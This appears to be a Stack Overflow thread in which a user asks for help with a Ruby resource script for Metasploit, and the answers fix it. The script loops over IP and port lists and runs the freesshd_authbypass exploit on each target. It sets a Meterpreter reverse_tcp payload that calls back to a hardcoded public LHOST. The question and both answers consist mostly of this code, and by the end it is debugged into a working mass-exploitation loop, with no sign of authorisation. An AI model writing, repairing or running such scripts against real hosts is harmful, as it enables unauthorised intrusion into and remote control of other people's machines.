1

I've been coding a script to automate tasks with Ruby in metasploit. For some reason, the script is giving me errors. Here's the code:

<ruby>
File.open("/root/ip.txt","r") do |file|
        file.each_line do |ip|
        file.close
File.open("/root/derp.txt","r") do |port1|
        file.each_line do |port|
        file.close
                run_single("use exploit/windows/ssh/freesshd_authbypass")
                run_single("set LHOST 198.46.156.143")
                run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
                run_single("set LPORT #{port}")
                run_single("set EXITONSESSION false")
                run_single("set RHOST #{ip}")
                run_single("set USER_FILE /root/userlist.txt")
                run_single("exploit -j -z")
        end
end
</ruby>

(Yeah, I know it's not perfect (at all), but I'm extremely new to Ruby.) I tried everything, adding end to each of the File.open lines (of course it's after File.close), but it gives this error:

[-] resource (/root/exploit.rb)> Ruby Error: SyntaxError /opt/metasploit-framework/lib/msf/ui/console/driver.rb:461: syntax error, unexpected keyword_end, expecting $end ["/opt/metasploit-framework/lib/msf/ui/console/driver.rb:455:in `eval'", "/opt/metasploit-framework/lib/msf/ui/console/driver.rb:455:in `load_resource'", "/opt/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:245:in `block in cmd_resource'", "/opt/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:227:in `each'", "/opt/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:227:in `cmd_resource'", "/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:427:in `run_command'", "/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:389:in `block in run_single'", "/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:383:in `each'", "/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:383:in `run_single'", "/opt/metasploit-framework/lib/rex/ui/text/shell.rb:200:in `run'", "/opt/metasploit-framework/lib/metasploit/framework/command/console.rb:30:in `start'", "/opt/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'", "/usr/local/bin/msfconsole:48:in `<main>'"]

Adding {} to the the beginning and end of the code doesn't work either.

In a nutshell, Ruby's giving me an error when I put multiple File.opens in the code. I need help on how to properly implement them.

2 Answers 2

3

Indent your code properly and the issue pops out by itself.

File.open("/root/ip.txt","r") do |file|
  file.each_line do |ip|
    file.close
    File.open("/root/derp.txt","r") do |port1|
      file.each_line do |port|
        file.close
        run_single("use exploit/windows/ssh/freesshd_authbypass")
        run_single("set LHOST 198.46.156.143")
        run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
        run_single("set LPORT #{port}")
        run_single("set EXITONSESSION false")
        run_single("set RHOST #{ip}")
        run_single("set USER_FILE /root/userlist.txt")
        run_single("exploit -j -z")
      end
    end

You probably need to add two ends. Also, the file.close is not necessary with the do ... end form of File.open and in a strange position where you put it.

File.open("/root/ip.txt","r") do |file|
  file.each_line do |ip|
    File.open("/root/derp.txt","r") do |port1|
      file.each_line do |port|
        run_single("use exploit/windows/ssh/freesshd_authbypass")
        run_single("set LHOST 198.46.156.143")
        run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
        run_single("set LPORT #{port}")
        run_single("set EXITONSESSION false")
        run_single("set RHOST #{ip}")
        run_single("set USER_FILE /root/userlist.txt")
        run_single("exploit -j -z")
      end
    end
  end
end
Sign up to request clarification or add additional context in comments.

2 Comments

Your question was nonetheless near to the answer. I modified the 2nd file.each_line to port1.each_line and it works properly now, thanks!
Yeah I was going to point out that the second file.each_line should be port1.each_line otherwise it will not work properly.
0

Patrick Oscity has the solution, but even after adding the missing end statements, the fixed code isn't very intuitive.

It looks like you only want the first line from two different files. Instead of opening files then iterating using each_line, use foreach. And, instead of immediately closing the file explicitly, simply break out of the loop at the bottom, which will close the file and result in only one line being read.

Something like this:

File.foreach("/root/ip.txt") do |ip|
  File.foreach("/root/derp.txt") do |port|
    run_single("use exploit/windows/ssh/freesshd_authbypass")
    run_single("set LHOST 198.46.156.143")
    run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
    run_single("set LPORT #{port}")
    run_single("set EXITONSESSION false")
    run_single("set RHOST #{ip}")
    run_single("set USER_FILE /root/userlist.txt")
    run_single("exploit -j -z")
    break
  end
  break
end

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.